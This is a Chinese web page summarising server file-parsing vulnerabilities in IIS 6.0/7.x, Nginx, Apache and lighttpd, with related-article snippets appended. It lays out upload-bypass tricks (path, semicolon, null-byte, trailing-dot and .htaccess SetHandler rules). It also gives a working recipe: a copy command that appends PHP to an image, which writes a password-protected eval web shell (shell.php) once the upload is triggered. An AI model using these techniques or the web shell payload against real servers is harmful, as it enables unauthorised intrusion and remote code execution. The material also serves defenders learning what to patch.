IIS 6.0/7.0/7.5、Nginx、Apache 等服务器解析漏洞总结

IIS 6.0

目录解析:/xx.asp/xx.jpg xx.jpg可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码

IIS6.0 会将 xx.jpg 解析为 asp 文件。

后缀解析:/xx.asp;.jpg /xx.asp:.jpg(此处需抓包修改文件名)

IIS6.0 都会把此类后缀文件成功解析为 asp 文件。

(站长评论:IIS6.0解析漏洞的成因,可以查阅罗哥写的一篇短文:IIS文件名解析漏洞扼要分析)

{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去,剩下/xx.asp}

(站长评论:发现错误,并不是不允许存在,这种路径叫做“NTFS数据流”,具体见:IIS6使用冒号上传漏洞,发现IIS6漏洞(上传利用) 底下的评论)

默认解析:/xx.asa /xx.cer /xx.cdx

IIS6.0 默认的可执行文件除了 asp 还包含这三种

(站长评论:这种主要是由于在 IIS 默认配置中,这几个后缀默认由 asp.dll 来解析,所以执行权限和 .asp 一摸一样,你可在配置中自行删除该后缀,以防止安全隐患)

此处可联系利用目录解析漏洞 /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg

[+]IIS 7.0/IIS 7.5/Nginx <=0.8.37

IIS 7.0/IIS 7.5/Nginx <=0.8.37

在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面加上/xx.php会将 /xx.jpg/xx.php 解析为 php 文件。

常用利用方法: 将一张图和一个写入后门代码的文本文件合并 将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾

e.g. copy xx.jpg/b + yy.txt/a xy.jpg

######################################

/b 即二进制[binary]模式

/a 即ascii模式 xx.jpg正常图片文件

yy.txt 内容 <?PHP fputs(fopen(‘shell.php’,‘w’),’<?php eval($_POST[cmd])?>’);?>

意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称为shell.php的文件

######################################

找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 即可执行恶意文本。

然后就在图片目录下生成一句话木马 shell.php 密码 cmd

[+]Nginx <=0.8.37

在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞

在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为 php 文件。

(站长评论:从 /test.jpg/x.php 演变过来的,具体可以参考:Ngnix 空字节可远程执行代码漏洞)

[+]Apache

后缀解析:test.php.x1.x2.x3

Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析

test.php.x1.x2.x3 则会被解析为php

经验之谈:php|php3|phtml 多可被Apache解析

(站长评论:关于 apache 解析漏洞可以查阅“Apache 漏洞之后缀名解析漏洞”)

[+]其他一些可利用的

在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,这也是可以被利用的!

在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可得到shell。

我记得Fck Php 2.6就存在加空格绕过的漏洞。{Linux主机中不行,Linux允许这类文件存在}

如果在Apache中.htaccess可被应用(Apache的配置文件httpd.conf中对目录的AllowOverride设置为All时,apache会应用目录下.htaccess中的配置 By sfasfas),

且可以被上传,那可以尝试在.htaccess中写入:

<FilesMatch “shell.jpg”> SetHandler application/x-httpd-php </FilesMatch>

shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件

[+]lighttpd

xx.jpg/xx.php

[Add by El4pse]

时间: 2024-12-05 23:46:32

IIS 6.0/7.0/7.5、Nginx、Apache 等服务器解析漏洞总结的相关文章

再提供一种解决Nginx文件类型错误解析漏洞的方法

[文章作者:张宴 本文版本:v1.2 最后修改:2010.05.24 转载请注明原文链接:http://blog.zyan.cc/nginx_0day/] 注:2010年5月23日14:00前阅读本文的朋友,请按目前v1.1版本的最新配置进行设置. 昨日,80Sec 爆出Nginx具有严重的0day漏洞,详见<Nginx文件类型错误解析漏洞>.只要用户拥有上传图片权限的Nginx+PHP服务器,就有被入侵的可能. 其实此漏洞并不是Nginx的漏洞,而是PHP PATH_INFO的漏洞,详见:h

《Nginx文件类型错误解析漏洞--攻击演练》 (转)

今天看书看到其中提到的一个漏洞,那就是Nginx+PHP的服务器中,如果PHP的配置里 cgi.fix_pathinfo=1 那么就会产生一个漏洞.这个配置默认是1的,设为0会导致很多MVC框架(如Thinkphp)都无法运行.这个漏洞就是比如 localhost/img/1.jpg 是正常地访问一张图片,而 localhost/img/1.jpg/1.php 却会把这张图片作为PHP文件来执行!如下图,应该是404 NotFound 才对的,它却显示说是有语法错误. 好家伙,既然有漏洞那就尝试

Nginx文件类型错误解析漏洞--攻击演练

今天看书看到其中提到的一个漏洞,那就是Nginx+PHP的服务器中,如果PHP的配置里 cgi.fix_pathinfo=1 那么就会产生一个漏洞.这个配置默认是1的,设为0会导致很多MVC框架(如Thinkphp)都无法运行.这个漏洞就是比如 localhost/img/1.jpg 是正常地访问一张图片,而 localhost/img/1.jpg/1.php 却会把这张图片作为PHP文件来执行!如下图,应该是404 NotFound 才对的,它却显示说是有语法错误. 好家伙,既然有漏洞那就尝试

nginx文件类型错误解析漏洞

漏洞介绍:nginx是一款高性能的web服务器,使用非常广泛,其不仅经常被用作反向代理,也可以非常好的支持PHP的运行.80sec发现 其中存在一个较为严重的安全问题,默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析,这将导致严重的安全问题,使得恶意的攻击者可 能攻陷支持php的nginx服务器. 漏洞分析:nginx默认以cgi的方式支持php的运行,譬如在配置文件当中可以以 1 location ~ .php$ { 2 root html; 3 fastcgi_pass

CentOS 6.0最小化编译安装Nginx+MySQL+PHP+Zend

http://www.osyunwei.com/archives/235.html 引言: 操作系统:CentOS 6.0 32位         下载地址:http://mirrors.163.com/centos/6.0/isos/i386/CentOS-6.0-i386-bin-DVD.iso         安装方式:采用最小化安装,在安装系统的时候选择Minimal(CentOS 6.0默认就是Minimal安装模式,不含有任何可选安装包)         最小化安装完成之后,系统占用

Centos7 编译安装 Nginx PHP Mariadb Memcached 扩展 ZendOpcache扩展 (实测 笔记 Centos 7.0 + Mariadb 10.1.9 + Nginx 1.9.9 + PHP 7.0.0)

环境: 系统硬件:vmware vsphere (CPU:2*4核,内存2G,双网卡) 系统版本:CentOS-7-x86_64-Minimal-1503-01.iso 安装步骤: 1.准备 1.1 设置静态IP.DNS地址(网络设备名称有可能不一样,这里是eno16780032,如使用DHCP获取动态IP,可忽略) [[email protected] ~]# vi /etc/sysconfig/network-scripts/ifcfg-eno16780032 找到BOOTPROTO,并且修

IIS------无法打开登录所请求的数据库 &quot;company&quot;。登录失败。 用户 &#39;IIS APPPOOL\AppPool 4.0&#39; 登录失败。

链接: http://www.cnblogs.com/VortexPiggy/archive/2013/04/06/3002055.html IIS------无法打开登录所请求的数据库 "company".登录失败. 用户 'IIS APPPOOL\AppPool 4.0' 登录失败.

IIS 7 php 7.0 部署WE MALL

想在本地环境部署We Mall,本地环境为Win 7+IIS 7+php 7.0 在php manager调用phpinfo ouput()时老是报错: " HTTP 错误 500.19 - Internal Server Error " " 无法访问请求的页面,因为该页的相关配置数据无效. " "由于权限不足而无法读取配置文件",和权限有关,我将对应WeMall文件夹的安全属性所属用户改完"完全控制"的权限,再试一样的报错

IIS配置Asp.net时,出现“未能加载文件或程序集“System.Web.Extensions.Design, Version=1.0.61025.0”

如果出现未能加载文件或程序集“System.Web.Extensions.Design, Version=1.0.61025.0, 主要是没有安装.net framwork 3.5,安装一下就行了. win7 和windows server 2008 系统中已经自带有了,手动安装即可.